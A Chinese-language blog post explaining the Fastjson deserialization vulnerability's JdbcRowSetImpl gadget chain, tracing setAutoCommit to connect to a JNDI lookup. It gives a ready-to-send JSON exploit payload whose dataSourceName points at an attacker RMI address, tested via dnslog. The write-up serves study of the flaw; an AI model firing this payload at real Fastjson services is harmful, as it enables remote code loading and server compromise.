首页 > 其他分享 >Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入

Fastjson反序列化漏洞3:JdbcRowSetImpl利用链-JNDI注入

时间:2024-05-11 17:30:37浏览次数:25  
标签:Fastjson rowset sun JNDI connect JdbcRowSetImpl 序列化 com

第二条链

Fastjson的三条链,现在我们来讲第二条com.sun.rowset.JdbcRowSetImpl

  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

Fastjson的三条链,现在我们来看第二条com.sun.rowset.JdbcRowSetImpl

setAutoCommit、connect、setDataSourceName

setAutoCommit

这个是jdk原生类,下载好源码后打开

发现JdbcRowSetImpl的setAutoCommit中调用了connect

image

connect

跟进connect,发现调用链lookup,这不就可以JNDI注入了吗

image

内容是DataSourceName

setDataSourceName

顺势找到setDataSourceName,有setter方法,可以使用fastjson为其添值

image

构造poc

直接发送如下json即可

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://【写rmi地址】/abc", "autoCommit":true}

效果

懒得搞rmi服务器,所以这里使用yakit的dnslog,看看是否有发出请求
image

标签:Fastjson,rowset,sun,JNDI,connect,JdbcRowSetImpl,序列化,com
From: https://www.cnblogs.com/Aixve/p/18186891

相关文章

  • Fastjson反序列化漏洞2:BasicDataSource利用链-用于内网
    之前说的Fastjson的利用链,补充来了,没有偷懒(狗头)前情提要:BCEL:加载恶意类、Fastjson反序列化漏洞1:吹吹水Fastjson干了啥Fastjson就是处理json用的,可以将json转换成对象(自定义的一套序列化和反序列化)举个例子:下面这个json字符串经过JSON.parse(jsonString)处理可以得到com.test......
  • C++_函数式编程-以及常用序列化
    函数式编程函数式编程是一种编程范式,它强调程序的构建是通过应用(applying)和组合函数(composingfunctions)来实现的函数式编程属于“结构化编程”的一种,主要思想是把运算过程尽量写成一系列嵌套的函数调用 LambdaCalculus函数式编程语言早期的函数式......
  • 序列化的另一个思路
    #混入类,提供Model实例to_dict方法classModelMixin(object):__slots__=()defto_dict(self,excludes:tuple=None,selects:tuple=None)->dict:ifnothasattr(self,'_meta'):raiseTypeError('<......
  • [idea]mvn install没有问题,idea build报错程序包com.alibaba.fastjson不存在
    现象:1、mvninstall没有问题2、ideabuild报错程序包com.alibaba.fastjson不存在3、File->Settings->Build,Execution,Deployment->Compiler自动编译选项也是勾选的解决:1、委托maven构建和运行,确实能执行;但是运行都要执行maveninstall,速度慢 -- 不推荐 2、在......
  • Fastjson反序列化漏洞
    Fastjson简介Fastjson是一个Java库,可以实现json和对象之间的转换。将数据与对象进行转化,这个操作涉及到了反序列化。与原生的Java反序列化不同,FastJson反序列化并未使用readObject方法,而是自定义了反序列化的过程。通过在反序列化的过程中自动调用类属性的setter方法......
  • 【攻防技术系列】-- JNDI注入
    JNDI概念首先第一个问题,什么是JNDI?JNDI(JavaNamingandDirectoryInterface),是Java平台提供的一个API,它允许Java应用程序访问不同的命名和目录服务。简而言之,JNDI为Java应用提供了一种统一的方式来查询和访问外部资源,如数据库、文件系统、远程对象等。虽然有点抽象,但我......
  • Apache Commons Collections反序列化漏洞
    目录复现环境准备POC漏洞原理分析构造反射链TransformedMap利用链ApacheCommonsCollections的反序列化漏洞在2015年被曝光,引起了广泛的关注,算是java历史上最出名同时也是最具有代表性的反序列化漏洞。复现环境准备jdk1.7版本下载压缩包链接:https://pan.baidu.com/s/......
  • python教程6.3-json序列化
    序列化:dumps,编码,将python类型转成json对象反序列化:loads,解码,将json对象转成python对象pickle模块提供了四个功能:dumps、loads、dump、load(前2个操作变量,后2个操作文件)jsonjson模块也提供了四个功能:dumps、dump、loads、load,⽤法跟pickle⼀致。(前2个操作变量,后2个操作文件)......
  • Fastjson反序列化漏洞
    目录漏洞原理复现Fastjson1.2.24Fastjson1.2.47漏洞分析Fastjson是阿里巴巴开源的一个Java库,用于将Java对象转换为JSON字符串(序列化),以及将JSON字符串转换为Java对象(反序列化),漏洞编号CVE-2017-18349。漏洞原理Fastjson引入了autoType功能,允许在反序列化过程中通过@type......
  • 【Python-Json】自定义类输入json序列化、json的读取与写入
    AI问答Questionjson支持numpy数组么Answer不幸的是,标准的JSON格式不直接支持NumPy数组.JSON是一种用于存储和交换数据的文本格式,它有限的数据类型只包括对象(object)、数组(array)、数字(number)、字符串(string)、布尔值(true/false)、空值(null)等.因此,无法直接将......